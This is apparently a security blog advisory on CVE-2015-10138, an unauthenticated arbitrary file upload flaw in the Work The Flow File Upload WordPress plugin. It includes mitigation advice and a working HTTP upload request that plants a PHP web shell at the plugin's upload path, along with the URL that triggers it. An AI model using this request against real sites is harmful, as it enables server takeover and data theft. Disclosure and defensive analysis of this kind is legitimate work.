Overview
This blog post shines a spotlight on a high-risk vulnerability, CVE-2015-10138, in the Work The Flow File Upload plugin for WordPress. This vulnerability, which affects versions up to and including 2.5.2, allows for arbitrary file uploads due to a lack of file type validation in the jQuery-File-Upload-9.5.0 server and test files. As it affects a popular WordPress plugin, it has the potential to impact a significant number of websites. This vulnerability is especially concerning as it could allow unauthenticated attackers to upload arbitrary files on the affected site’s server, leading to possible remote code execution.
Vulnerability Summary
CVE ID: CVE-2015-10138
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Work The Flow File Upload plugin for WordPress | Versions up to and including 2.5.2
How the Exploit Works
The vulnerability allows an attacker to upload arbitrary files due to missing file type validation in the jQuery-File-Upload-9.5.0 server and test files. This means that an attacker could upload a malicious file, such as a web shell, that could then be executed on the server. This could lead to a complete system compromise, enabling the attacker to execute commands on the server, access sensitive data, or propagate further malicious activity.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP request that uploads a web shell:
POST /wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/ HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files[]"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, “shell.php” is a simple web shell that executes commands passed via the ‘cmd’ GET parameter. Once uploaded, the attacker could trigger the shell by navigating to “http://target.example.com/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/shell.php?cmd=[command]”.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the vendor patch. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or monitor for suspicious activity can serve as a temporary mitigation. Regularly updating and patching software, limiting the privileges of web-facing applications, and monitoring network traffic for unusual activity can also help prevent exploitation of this vulnerability.